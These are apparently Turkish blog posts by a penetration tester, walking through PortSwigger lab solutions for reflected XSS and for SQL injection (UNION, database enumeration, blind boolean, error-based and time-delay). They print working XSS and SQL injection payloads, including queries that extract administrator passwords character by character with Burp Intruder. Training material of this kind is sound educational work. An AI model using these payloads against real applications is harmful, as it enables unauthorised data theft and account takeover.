Öne çıkan

Hoşgeldiniz

Merhaba ben Sefa Güler.

Maltepe Üniversitesi Yazılım Mühendisliği bölümünden 2018 yılında mezun oldum. Üniversitenin son sınıfında siber güvenlik alanı ile ilgilenmeye başladım. Kariyerime ilk olarak BGA Security’ nin açtığı BGA staj okulu 2018′ i kazanarak başladım. Yazın stajımı tamamladıktan sonra BGA Security’ de sızma testi uzmanı olarak tam zamanlı çalışmaya başladım. BGA’ da 1.5 yıl çalıştıktan sonra şuan çalıştığım IBTech Uluslararası Bilişim ve İletişim Teknolojileri şirketine geçtim.

Daha çok web ve mobil uygulama alanlarında kendimi geliştirsem de diğer alanlarda da kendimi geliştirmeyi amaçlıyorum.

Sertifikalarım;

2019 Ekim -> eLearnSecurity Mobile Application Penetration Tester (eMAPT)

2020 Ocak -> Cyber Struggle Ranger Sertifikası

2020 Nisan -> eLearnSecurity Web Application Penetration Tester eXtreme (eWPTX v1)

Bu bloğu açmamdaki amaç; kişisel notlarımı ve sertifika çalışmalarım esnasında aldığım notların bir yerde olması ve sizlerle paylaşmak.

Siteler Arası Script Çalıştırma Zafiyeti (XSS) — Yansıtılan XSS

Yansıtılan XSS Nedir?

Yansıtılan XSS, siteler arası script çalıştırma zafiyetinin en basit çeşididir. Bir uygulama bir HTTP isteğinde veri aldığında ve bu verileri anında yanıtta güvensiz bir şekilde cevap olarak döndürdüğünde ortaya çıkar.

Yansıtılan XSS için basit bir örnek verecek olursak:

https://insecure-website.com/status?message=All+is+well

Örneğin yukarıdaki HTTP isteğindeki mesaj sayfada görüntüleniyor olsun

<p>Status: All is well.</p>

Uygulama veriler için herhangi bir kontrol gerçekleştirmez, bu nedenle bir saldırgan kolayca aşağıdaki gibi bir saldırı oluşturabilir:

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

ve o yazılanlar olduğu gibi sayfa kaynağına dahi edilir.

<p>Status: <script>/* Bad stuff here... */</script></p>

Kullanıcı saldırgan tarafından oluşturulan URL’ i ziyaret ederse, saldırganın komut dosyası, kullanıcının uygulamada yaptığı oturum bağlamında kullanıcının tarayıcısında yürütülür. Bu noktada, komut dosyası herhangi bir eylem gerçekleştirebilir ve kullanıcının erişebildiği tüm verileri alabilir.

Lab: Reflected XSS into HTML context with nothing encoded

Labdaki uygulamada bulunan arama motoru girdi olarak alınan veriyi sayfa kaynağına dahil etmektedir. Labı çözmemiz için alert fonksiyonunu çalıştırmamız gerekmektedir.

Aşağıdaki payloadı search parametresine yazarak gerçekleştirdiğimiz istek sonucu dönen yanıtta JavaScript kodunun yorumlandığı görebilirsiniz.

<svg+onload=alert('XSS')>

Söz konusu kodun uygulama üzerinde çalıştığına ilişkin ekran görüntüsü:

Yansıtılan XSS Saldırılarının Etkileri

Bir saldırgan, kurbanın tarayıcısında yürütülen bir komut dosyasını kontrol edebilirse, o kullanıcının genellikle güvenliğini tamamen bozabilir.

Örnek olarak saldırgan şunları yapabilir:

  • Uygulama içinde kullanıcının gerçekleştirebileceği herhangi bir eylem gerçekleştirebilir.
  • Kullanıcının görüntüleyebileceği tüm bilgileri görüntüleyebilir.
  • Kullanıcının değiştirebileceği bilgileri değiştirebilir.
  • İlk kurban kullanıcıdan kaynaklandığı anlaşılan kötü niyetli saldırılar da dahil olmak üzere diğer uygulama kullanıcılarıyla da etkileşimleri başlatabilir.

Saldırı, doğrudan bilinen bir kullanıcıya karşı hedeflenebilir veya uygulamanın herhangi bir kullanıcısına karşı gelişigüzel bir saldırı olabilir:

Saldırı için harici bir dağıtım mekanizmasına duyulan ihtiyaç, yansıtılan XSS’ in etkisinin depolanan XSS’den genellikle daha az şiddetli olmasına neden olur.

Okuduğunuz için teşekkür ederim 🙂

Siteler Arası Script Çalıştırma Zafiyeti (XSS) — Giriş

XSS Nedir?

Siteler arası script çalıştırma (XSS olarak da bilinir), bir saldırganın kullanıcıların savunmasız bir uygulamayla olan etkileşimlerini tehlikeye atmasına izin veren bir web güvenlik açığıdır. Bir saldırganın, farklı web sitelerini birbirinden ayırmak için tasarlanan same origin policyi atlamasını sağlar. Siteler arası script çalıştırma güvenlik açıkları normalde bir saldırganın mağdur kullanıcı olarak maskelenmesine, kullanıcının gerçekleştirebileceği tüm eylemleri gerçekleştirmesine ve kullanıcının verilerine erişmesine olanak sağlamaktadır. Mağdur kullanıcı uygulama içinde ayrıcalıklı erişime sahipse, saldırgan uygulamanın tüm işlevselliği ve verileri üzerinde tam kontrol sahibi olabilir.

XSS nasıl çalışır?

Siteler arası script çalıştırma zafiyeti güvenlik açığı bulunan bir web sitesini kullanıcılara kötü amaçlı JavaScript döndürmesi için işleyerek çalışır. Kötü niyetli kod kurbanın tarayıcısında yürütüldüğünde, saldırgan uygulama ile etkileşimlerini tamamen tehlikeye atabilir.

XSS saldırılarının türleri nelerdir?

Üç ana XSS saldırı türü vardır.

  • Yansıtılan XSS, zararlı script anlık HTTP istekleriyle gelir.
  • Depolanan XSS, zararlı script web sitesinin veritabanından gelir.
  • Dom-Based XSS, zararlı script sunucu tarafında değil istemci tarafında ortaya çıkar.

Bu türlerin detaylarına diğer yazılarımızda değineceğiz. Okuduğunuz için teşekkür ederiz 🙂

PortSwigger SQL Enjeksiyonu — Blind SQL Enjeksiyonu -II

Zaman Geçikmeli Kör(Blind) SQL Enjeksiyonu

Önceki örneklerin aksine, uygulamanın artık veritabanı hatalarını yakaladığını ve bunları zarifçe işlediğini varsayalım. Enjekte edilen SQL sorgusu yürütüldüğünde bir veritabanı hatasını tetiklemek artık uygulamanın yanıtında herhangi bir değişikliğe neden olmamakta, bu durumlarda önceki koşullu hataları tetikleme tekniği artık işe yaramayacaktır.

Bu durumda, enjekte edilen bir duruma bağlı olarak zaman gecikmelerini koşullu olarak tetikleyerek kör SQL enjeksiyon güvenlik açığından yararlanmak genellikle mümkündür. SQL sorguları genellikle uygulama tarafından eş zamanlı olarak işlendiğinden, bir SQL sorgusunun yürütülmesini geciktirmek HTTP yanıtını da geciktirir. Bu, HTTP yanıtı alınmadan önce geçen süreye bağlı olarak enjekte edilen durumun doğruluğunu çıkarmamızı sağlar.

Zaman gecikmesini tetiklemek için kullanılan teknikler kullanılan veritabanı tipine özeldir. Örneğin Microsoft SQL Server’da, bir durumu test etmek ve ifadenin doğru olup olmadığına bağlı olarak bir gecikmeyi tetiklemek için aşağıdakine benzer girdiler kullanılabilir:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

Bu girdilerden ilki gecikme tetiklemez, çünkü 1 = 2 koşulu yanlıştır. İkinci girdi 10 saniyelik bir gecikmeyi tetikleyecektir, çünkü 1 = 1 koşulu doğrudur.

Bu tekniği kullanarak, her seferinde bir karakteri sistematik olarak test ederek verileri daha önceki örneklerde açıklandığı şekilde alabiliriz:

'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Not: SQL sorgularında zaman gecikmelerini tetiklemenin çeşitli yolları vardır ve farklı veritabanı türlerinde farklı teknikler uygulanır. Daha fazla ayrıntı için SQL injection cheat sheet sayfasına bakabilirsiniz.

Lab: Blind SQL injection with time delays

Bu lab kör SQL enjeksiyon güvenlik açığı içeriyor. Uygulama, analiz için bir TrackingId çerezi kullanılmaktadır ve gönderilen çerezin değerini içeren bir SQL sorgusu gerçekleştirilmektedir.

Uygulamada SQL sorgusunun sonuçları döndürülmez ve uygulama, sorgunun herhangi bir satır döndürüp döndürmemesine veya hataya neden olmasına bağlı olarak farklı yanıtlar vermemektedir. Ancak, sorgu eş zamanlı olarak yürütüldüğünden, bilgi çıkarmak için koşullu zaman gecikmelerini tetiklemek mümkündür.

Laboratuvarı çözmek için SQL enjeksiyon güvenlik açığından yararlanmamız ve 10 saniyelik bir gecikmeye neden olmamız istenmektedir.

Zafiyetin istismarı için SQL injection cheat sheet sayfasında bulunan farklı veritabanına özgü yöntemleri denedikten sonra aşağıdaki PostgreSQL veritabanına uygun olan payloadın etkili olduğunu göreceksiniz.

TrackingId=x'||pg_sleep(10)--

Normal bir sorguya dönen yanıt:

TrackingId=x'||pg_sleep(10)-- payloadının eklenmesiyle dönen yanıt:

Lab: Blind SQL injection with time delays and information retrieval

Labta bulunan veritabanı, username ve password adı verilen sütunlarla users adında tablo içerir. administrator kullanıcının parolasını bulmak için kör SQL enjeksiyon güvenlik açığından yararlanmamız istenmektedir.

Bir önceki örnekte zafiyetin istismarı için SQL injection cheat sheet sayfasında bulunan farklı veritabanına özgü yöntemleri denedikten sonra aşağıdaki PostgreSQL veritabanına uygun olan payloadın etkili olduğunu göreceksiniz.

Ardından daha önceki örneklere benzer şekilde intruderdan yardım alarak aşağıdaki payloadı kullanıyoruz.

'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,§§,1)='§§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

SUBSTRING(password, 1, 1) -> SUBSTRING(password, tahmin edilmeye başlanan konum, tahmin edilen karakter uzunluğu)

(password,3,1)—>>> (password, parolanın 3. dizisinden başla, sadece 1 karakter)

Burp Professional Intruderda bulunan Cluster Bomb seçeneğini seçtikten sonra payload pozisyonlarını ayarlıyoruz.

Payloadı açıklayacak olursak:

‘%3BSELECT+CASE+WHEN+(username=’administrator’+AND+substring(password,1,1)=’a’)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users–

administrator kullanıcısının parolasının ilk karakteri a ise cevap 10 saniye geç dönecek, eğer a değilse cevap normal bir zamanda dönecektir.

Ardından bazı yanıtların geç döndüğünü fark edeceksiniz. Geç dönen yanıt 10 sn gecikmeli dönecektir.Requeste göre sıralarsanız isteklerin akmadığı zaman geç gönen zamandır.

Örneğin aşağıdaki gibi durakladığında 16. karakterin 0 olduğunu anlamış oluyoruz, çünkü yanıt 10 sn geç dönmektedir.

Yanıt döndüğünde o harfi ve sırasının not alırsanız parolaya erişeceksiniz. Okuduğunuz için teşekkür ederim 🙂

PortSwigger SQL Enjeksiyonu — Blind SQL Enjeksiyonu -I

Kör(Blind) SQL enjeksiyonu nedir?

Blind SQL enjeksiyonu, bir uygulama SQL enjeksiyonuna karşı savunmasız olduğunda ortaya çıkar, ancak HTTP yanıtları ilgili SQL sorgusunun sonuçlarını veya veritabanı hatalarının ayrıntılarını içermez. Blind SQL enjeksiyon güvenlik açıklarında, UNION saldırıları gibi bir çok teknik etkili değildir, Yetkisiz olarak verilere erişmek için kör SQL enjeksiyonundan faydalanmak mümkündür, ancak farklı teknikler kullanılmalıdır.

Koşullu Yanıtları Tetikleyerek Blind SQL Enjeksiyonunu Kullanma

Kullanımla ilgili analitik toplamak için izleme çerezlerini kullanan bir uygulamayı düşünün. Uygulama istekleri aşağıdakine benzer bir çerez başlığı içerir:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

Bu istek aşağıdaki gibi bir SQL sorgu oluşturur:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

Bu sorgu SQL enjeksiyonuna karşı savunmasızdır, ancak sorgudan elde edilen sonuçlar kullanıcıya açık bir şekilde de döndürülmez. Ancak, sorgunun herhangi bir veri döndürüp döndürmediğine bağlı olarak uygulama farklı davranır. Veri döndürürse (tanınan bir TrackingId gönderildiğinden), sayfada “Welcome Back” mesajı görüntülenir. Eğer veri yoksa mesaj görüntülenmez.

İşte bu davranış, enjekte edilen bir duruma bağlı olarak farklı yanıtları koşullu olarak tetikleyerek kör SQL enjeksiyon güvenlik açığından yararlanabilmemizi ve bilgi alabilmemizi sağlayacaktır. Bunun nasıl çalıştığını görmek için, sırasıyla aşağıdaki TrackingId çerez değerlerini içeren iki isteğin gönderildiğini varsayalım:

xyz' UNION SELECT 'a' WHERE 1=1--
xyz' UNION SELECT 'a' WHERE 1=2--

1. koşul her durumda doğru olduğu için ekranda “Welcome back” mesajını görmemiz gerekir. 2. koşulda ise herhangi bir yanıt dönmez. Bu, enjekte edilen herhangi bir tek durumun cevabını belirlememize ve böylece verileri her seferinde bir bit çıkarmamıza izin verir.

Örneğin users tablosunda bulunan administrator kullanıcısının parolasını öğrenmek istersek parolanın her karakteri için tahminde bulunur, dönen sonuçlara göre tahminlerimizin doğru olup olmadığını anlayabiliriz.

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--

Yukarıdaki sorguda kullanıcı adı Administrator olan kullanıcının parolasının 1.karakteri m harfinden daha büyük bir karakter ise “Welcome Back” yazısını ekranda göreceğiz.

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'--

Yukarıdaki sorguda kullanıcı adı Administrator olan kullanıcının parolasının 1.karakteri s harfi ise ise “Welcome Back” yazısını ekranda göreceğiz. Bu sayede ilk harfini çekmiş olacağız.

Bu şekilde Burp Intruder ile tüm karakterleri tahmin etmek kolay hale gelmiş olacak. Tabi bazı veritabanı çeşitlerinde SUBSTRING SBTR olarak geçmektedir. Bunun için yine her zamanki gibi SQL Injection Cheet Sheet e bakarak bilgi alabilirsiniz.

Lab: Blind SQL injection with conditional responses

Lab bilgilerini okuduğumuzda users tablosunda bulunan administrator kullanıcısının parola bilgisini elde etmemiz gerektiğini anlıyoruz. İlgili zafiyetin çerez değerinde olduğu bilgisi de verilmiş. Bu nedenle önce çerez değerine koşulu sağlayan ve sağlamayan payoladlar girerek dönen yanıtları inceleyelim.

asadsd'+OR+1=1--

Yukarıdaki payload ile istek gerçekleştirdiğimizde “Welcome back” mesajını görüyoruz.

Ancak aşağıdaki koşulu sağlamayan payload ile istek gerçekleştirdiğimizde “Welcome back” payloadının görememekteyiz.

asadsd’+OR+1=0–

Bu durumu anladıktan sonra aşağıdaki payload ile parola değerini tahmin edebiliriz.

xyz' UNION SELECT 'a' FROM users WHERE username = 'administrator' and SUBSTRING(password, 1, 1) = 's'--

Ancak tek tek uğraşmak zaman kaybı olacaktır. Intrudera verebiliriz. Dönen yanıtta “Welcome Back” mesajı dönenleri response boyutuna göre sıraladığımızda password değerinin karakterlerine erişmiş olacağız 🙂

SUBSTRING(password, 1, 1) -> SUBSTRING(password, tahmin edilmeye başlanan konum, tahmin edilen karakter uzunluğu)

(password,3,1)—>>> (password, parolanın 3. dizisinden başla, sadece 1 karakter)

Burp Professional Intruderda bulunan Cluster Bomb seçeneğini seçtikten sonra payload pozisyonlarını ayarlıyoruz.

xyz' UNION SELECT 'a' FROM users WHERE username = 'administrator' and SUBSTRING(password,§§,1) = '§§'--

Parolanın sırası için 1-50 arası sayı ve parolanın kendisi için harf, rakam ve çeşitli karakterler verebilirsiniz.

Aşağıda örnekte görüldüğü gibi parolanın tüm karakterlerlerinin “a” olup olmadığı kontrol edilmiştir.

Bu şekilde denemeler sona erdikten sonra Length’ e tıklayarak boyutu diğerlerine göre büyük olanların üstte görünmesini sağlıyoruz.

Yukarıda görüldüğü üzere toplam 20 karakterden oluşan bir parola. Kaçıncı harfinin hangi karakter olduğunu not aldıktan sonra ilgili bilgilerle uygulamaya giriş yapınca LAB çözülmüş olacaktır.

parola -> gpabpej4fjw4hzjpymak

SQL Hatalarını Tetikleyerek Koşullu Yanıtlar Oluşturma

Önceki örnekte sorgunun doğruluğuna göre dönen yanıt farklı oluyordu. Uygulamadan farklı yanıtların dönmediği durumlarda koşullu yanıtlar oluşturmaya çalışırız. Yani sorgunun 2 farklı sonucu olacak.

Örnekle açıklamak daha doğru olacak:

xyz' UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END--
xyz' UNION SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END--

Bu sorgularda, koşulda yer alan (1=2 ve 1=1) ifadenin doğru olup olmadığına bağlı olarak farklı bir ifade döndürmek için CASE anahtar sözcüğünü kullanır.

1.de 1=2 ifadesi yanlış olduğu için ELSE bloğu çalışacak ve cevap olarak NULL değer dönecektir.

2.de 1=1 ifadesi doğru olduğundan hata mesajı verdirmeye neden olacak 1/0 işlemi gerçekleştirilecektir.

Bu durumu yine önceki örnekteki gibi parola bilgisini öğrenmek istediğimiz senaryoya uyarlayalım:

xyz' union select case when (username = 'Administrator' and SUBSTRING(password, 1, 1) > 'm') then 1/0 else null end from users--

Bu sorguda Administrator kullanıcısının parolasının ilk harfi m ise hata mesajı dönecek, m değilse cevap olarak NULL dönecek.

Her zamanki gibi veritabanından veritabanına değişen çeşitli koşul ifadeleri bulunmaktadır ve yine her zamanki gibi bunlara SQL injection cheat sheet‘ ten erişebilirsiniz.

Lab: Blind SQL injection with conditional errors

Bu labta, uygulama SQL sorgusunun sonuçlarını döndürmemektedir. Ayrıca sorgunun doğruluğuna göre farklı yanıtlar da vermemektedir. Ama SQL sorgusunda bir hata varsa cevap olarak özel bir hata mesajı vermektedir.

Aşağıdaki payloadların ikisi de işe yaramayınca şansımı ORACLE için kullanmaya karar verdim.

xyz’ UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END–
xyz’ UNION SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END–

ORACLE için aşağıdaki payload ile istek gerçekleştirdiğimizde hata alamadığımız göreceğiz.

'+UNION+SELECT+CASE+WHEN+(1=0)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual–

ORACLE için aşağıdaki payload ile istek gerçekleştirdiğimizde hata adığımızı göreceğiz.

'+UNION+SELECT+CASE+WHEN+(1=1)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual–

LAB’ da aslında söylemiş administrator kullanıcısının parolasına erişeceğimizi ama aşağıdaki sorguyla veritabanında kayıtlı administrator kullanıcısı olup olmadığını öğrenebiliriz.

'+UNION+SELECT+CASE+WHEN+(username='administrator')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--

Şimdi daha önceki örnekte olduğu gibi parola bilgisini öğrenebilmek için intruderdan yardım alacağız.

Parolanın sırası için 1-50 arası sayı ve parolanın kendisi için harf, rakam ve çeşitli karakterler verebilirsiniz.

'+UNION+SELECT+CASE+WHEN+'+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,§§,1)='§§')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--

Denemeler sona erdiğinde Status’ e ya da Length’ e tıklarsanız hata yanıtı dönen isteklerde bulunan sorguların doğru sorgular olduğundan yola çıkarak parolayı öğrenmiş olacaksınız.

Yukarıda görüldüğü üzere toplam 20 karakterden oluşan bir parola. Kaçıncı harfinin hangi karakter olduğunu not aldıktan sonra ilgili bilgilerle uygulamaya giriş yapınca LAB çözülmüş olacaktır.

parola->l1dwkli9h5oxr851ce2r

Okuduğunuz için teşekkür ederim 🙂

PortSwigger SQL Enjeksiyonu — Veritabanı İnceleme

SQL Enjeksiyon Saldırılarında Veritabanını İnceleme

SQL enjeksiyonu güvenlik açıklarından yararlanırken genellikle veritabanının kendisi hakkında bazı bilgiler elde etmemiz gerekir. Bu bilgiler, veritabanı yazılımının türü ve sürümünü ve içerdiği tablo ve sütunların bilgileridir. Elde ettiğimiz bilgiler ışığında zafiyeti istismar edebiliriz.

Veritabanı Türünü ve Sürümünü Sorgulama

Farklı veritabanları sürümlerini sorgulamanın farklı yolları vardır. Veritabanı yazılımının türünü ve sürümünü belirlemenizi sağlayacak farklı sorgular denemeniz gerekmektedir.

Database typeQuery
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

Örneğin, aşağıdaki gibi bir UNION saldırısı kullanabilirsiniz:

' UNION SELECT @@version--

Eğer veritabanı Microsoft SQL Server ise bu saldırı sonucu aşağıdaki gibi bir yanıt ile karşılaşabilirsiniz:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

Lab: SQL injection attack, querying the database type and version on Oracle

Bu lab, “category” filtresinde bir SQL enjeksiyon güvenlik açığı içeriyor. Enjekte edilen bir sorgudan sonuçları almak için bir UNION saldırısı kullanabilirsiniz.

Lab bizden veritabanı tipini ve versiyonunun bilgisini istemektedir. Çoğu labta olduğu gibi SQL injection cheat sheet sayfamızdan yardım alacağız.

ORACLE veritabanı daha önce de bahsettiğim gibi diğer veritabanlardan farklı olarak sorguda tablo ismi istemektedir.

UNION SELECT 'abc' FROM DUAL şeklinde tablo belirtmemiz gerekmektedir.

Öncelikle sütun sayımızın 2 olduğunu öğreniyoruz.

Ardından versiyon bilgisini döndürebileceğimiz uygun sütunun hangi sütun olduğunu tespit ediyoruz.

Versiyon bilgisini öğrenmek için aşağıdaki payloadı giriyoruz.

‘ UNION SELECT version, NULL FROM v$instance–

Versiyon bilgisibi elde ettik ancak LAB çözümü için yukarıda yer alan string ifadeyi yazdırmamız beklenmektedir yani “banner” bilgisi gerekmektedir.

‘ UNION SELECT banner, NULL FROM v$versison–

Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

ORACLE da olduğu gibi gibi SQL injection cheat sheet sayfamızdan yardım alacağız. Önce veritabanının Microsft mu yoksa MySQL mi olduğunu tespit edeceğiz. Bunu çok basit bir farkla ayırabiliriz. İki veritabanını biribrinden ayıran şey comment ifadeleri.

MySQL için comment denemesi yaptığımızda hata alıyoruz. Demek ki veritabanı MySQL değil. Bunun için aşağıda verilen payladı kullanıyoruz.

assadsd'+OR+1=1--

Ardından Microsoft için aşağıdaki payload ile deneme yapıyoruz ve hata almıyoruz. Demek ki veritabanımız Microsoft.

assadsd'+OR+1=1#

Artık veritabanımıza uygun sorgularla versiyon bilgisini elde edebiliriz.

Tabi önce sütun sayısı ve string döndürebileceğimiz uygun sütunu bulmamız gerekiyor.

İki kolon olduğunu ve ilk kolonun string değerler aldığını gördükten sonra aşağıdaki payload ile versiyon bilgisini elde etmeyi deniyoruz.

+UNION+SELECT+@@version,NULL#

Veritabanının İçeriğini Listeleme

Çoğu veritabanı türü (Oracle hariç), veritabanı hakkında bilgi sağlayan “information schema” adı verilen bir tabloya sahiptir. Aşağıdaki sorgu ile veritabanında bulunan tüm tabloları öğrenebilirsiniz.

SELECT * FROM information_schema.tables

Bu sorgu aşağıdakine benzer bir yanıt döndürecektir.

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE

Bu çıktı, Products, Users ve Feedback adlı üç tablo olduğunu gösterir.

Daha sonra tek tek tablolardaki sütunları listelemek için “information_schema.columns” tablosunu sorgulayabilirsiniz:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Bu sorgu aşağıdakine benzer bir yanıt döndürecektir.

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar

Bu çıktı, belirtilen tablodaki sütunları ve her bir sütunun veri türünü gösterir.

Lab: SQL injection attack, listing the database contents on non-Oracle databases

LAB başlığı non-ORACLE olduğu için “information_schema” dan yaralanabiliriz. Bu yüzden öncelikle tablo isimlerimize erişmeye çalışalım.

Tabi önce işe sütun sayımızı öğrenerek başlayacağız. İki sütun bulunduğunu tespit ediyoruz.

Ve iki sütun da string veriler içermektedir.

Ufak bir araştırmayla “information_schema” tablosunun “table_name” isimli bir sütunun bulunduğunu öğrenebilirsiniz. O nedenle aşağıdaki payload ile veritabanında yer alan tabloların bilgisini çekiyoruz.

' UNION SELECT table_name,NULL FROM information_schema.tables--

users_zhxwgn‘ tablosu işimize yarayabilir. Onun içindeki sütun bilgileri için aşağıdaki payloadı kullanıyoruz.

' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users_zhxwgn'--

Aşağıdaki kolon bilgileri elde ettikten sonra içerisindeki verilere erişmek için uygun payload oluşturuyoruz.

' UNION SELECT password_vycsxz,username_akzqwg FROM users_zhxwgn--

İlgili bilgilerle uygulamaya giriş sağladıktan sonra LAB çözümü tamalanmış olacaktır.

Information Schema’ nın ORACLE Eşdeğeri

Oracle’da da aynı bilgileri biraz farklı sorgularla elde edebilirsiniz.

Tüm tabloları listelemek için:

SELECT * FROM all_tables

Tüm sütunları listelemek için:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

Lab: SQL injection attack, listing the database contents on Oracle

Önce işe sütun sayımızı öğrenerek başlayacağız. İki sütun bulunduğunu tespit ediyoruz. Bu sütunlardan ilkinin string veri içerdiğini de gözlemliyoruz.

Ardından aşağıdaki payload ile all_tables tablosunda bulunan tablo ismilerini listeliyoruz.

' UNION SELECT table_name,NULL FROM all_tables--

“USERS_HDEZXV” tablosundaki sütunlarda işimize yarayacak veriler var mı diye bakıyoruz. Bunun için sütun isimlerinin bulunduğu all_tab_columns tablosuna bakacağımızı öğrenmiştik.

' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS_HDEZXV'--

Ardından bu sütunlardan verileri çekiyoruz.

‘ UNION SELECT USERNAME_FZAHGQ, PASSWORD_TXRVOR FROM USERS_HDEZXV–

İlgili bilgilerle uygulamaya giriş sağladıktan sonra LAB çözümü tamalanmış olacaktır.

Okuduğunuz için teşekkür ederim 🙂

PortSwigger SQL Enjeksiyonu — UNION Saldırıları

Diğer Veritabanı Tablolarından Veri Alma

Uygulamada kullanılan SQL sorgusunun verileri çektiği tabloda bulunan bilgiler aradığımız bilgiler olmayabilir. Önceki örneklerden de hatırlayacağımız üzere products tablosunda hesap ele geçirmemize yarayacak kullanıcı bilgileri yer almamaktaydı.

Bu nedenle SQL sorgularını birleştirerek diğer tablolardaki bilgileri de ekrana dökebiliriz. Bunu ‘UNION’ ifadesini kullanarak gerçekleştireceğiz.

SQL Enjeksiyonu UNION Saldırıları

Eğer bir uygulama SQL enjeksiyonu zafiyetine karşı savunmasız durumdaysa ve sorgunun sonuçlarını uygulama arayüzünde gösteriyorsa ilgili sorgu UNION anahtar kelimesiyle manipüle edilebilir. Bu manipülasyona SQL enjeksiyonu UNION saldırıları denir.

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

Bu sorgu, table1 tablosunda bulunan a ve b kolonlarındaki değerleri ve table2 tablosunda bulunan c ve d kolonlarındaki değerleri içeren iki sütunlu tek bir sonuç kümesi döndürür.

Bir UNION sorgusunun çalışması için iki temel gereksinimin karşılanması gerekir:

  • Her iki sorgu da aynı sayıda sütün döndürmelidir.
  • Birleşitirilen sütünlardaki verilerin türü aynı olmalıdır. (Yani a integer ise c de integer olmalı)

Bir SQL enjeksiyon UNION saldırısı gerçekleştirmek için, saldırınızın bu iki gereksinimi karşıladığından emin olmanız gerekir.

  • Orijinal sorgudan kaç sütun döndürülüyor?
  • Orijinal sorgudan döndürülen hangi sütunlar, enjekte edilen sorgudan elde edilecek sonuçlar için uygun bir veri türündedir?

Bir SQL enjeksiyonu UNION saldırısında sütun sayısını belirleme

Bir SQL enjeksiyonu UNION saldırısı gerçekleştirirken, orijinal sorgudan kaç sütun döndürüldüğünü belirlemek için iki etkili yöntem vardır.

İlk yöntem, bir dizi ORDER BY deyimi enjekte etmeyi ve bir hata oluşana kadar belirtilen sütun dizinini artırmayı içerir. Örneğin, enjeksiyon noktasının orijinal sorgunun WHERE yan tümcesinde tırnak içine alınmış bir string olduğunu varsayarsak, şunları gönderirsiniz:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.

Bu payloadlar sonuçları sonuç kümesindeki farklı sütunlara göre sıralamak için orijinal sorguyu değiştirir. ORDER BY deyimini kullanırken herhangi bir sütunun adını bilmenize gerek yoktur. Belirtilen sütun sayısı sonuç kümesindeki gerçek sütun sayısını aştığında, veritabanı aşağıdaki gibi bir hata döndürür:

The ORDER BY position number 3 is out of range of the number of items in the select list.

Uygulama aslında HTTP yanıtında veritabanı hatasını döndürebilir veya genel bir hata döndürebilir veya sadece sonuç döndürmeyebilir. Uygulamadan dönen yanıtlarda bir fark tespit edebilmeniz halinde, sorgudan kaç sütun döndürüldüğünü çıkarabilirsiniz.

İkinci yöntem, farklı sayıda NULL değer belirten bir dizi UNION SELECT payloadının gönderilmesini içerir:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

NULL değerlerin sayısı sütun sayısıyla eşleşmezse, veritabanı aşağıdaki gibi bir hata döndürür:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Yine, uygulama aslında bu hata iletisini döndürebilir veya genel bir hata döndürebilir veya sonuç vermeyebilir. Null sayısı sütun sayısıyla eşleştiğinde, veritabanı sonuç kümesinde her sütunda null değerler içeren ek bir satır döndürür. Şanslıysanız, yanıt içinde bir HTML tablosundaki fazladan satır gibi bazı ek içerikler görürsünüz. Aksi takdirde, null değerler NullPointerException gibi farklı bir hatayı tetikleyebilir. En kötü durumda, yanıt yanlış sayıda boş değerden kaynaklanan yanıttan ayırt edilemeyebilir ve bu da sütun sayısını belirleme yöntemini etkisiz hale getirebilir.

Lab: SQL injection UNION attack, determining the number of columns returned by the query

Bu lab, ürün kategorisi filtresinde bir SQL enjeksiyonu güvenlik açığı içeriyor. Sorgunun sonuçları uygulamanın yanıtında dönmektedir, bu durumu manipüle ederek diğer tablolardan veri almak için bir UNION saldırısı gerçekleştirebiliriz.

Böyle bir saldırının ilk adımı, SQL sorgusu sonucunda döndürülen cevaplara bakarak sütun sayısını belirlemektir. Daha sonra bu tekniği sonraki lablarda tam saldırıyı oluşturmak için kullanacağız.

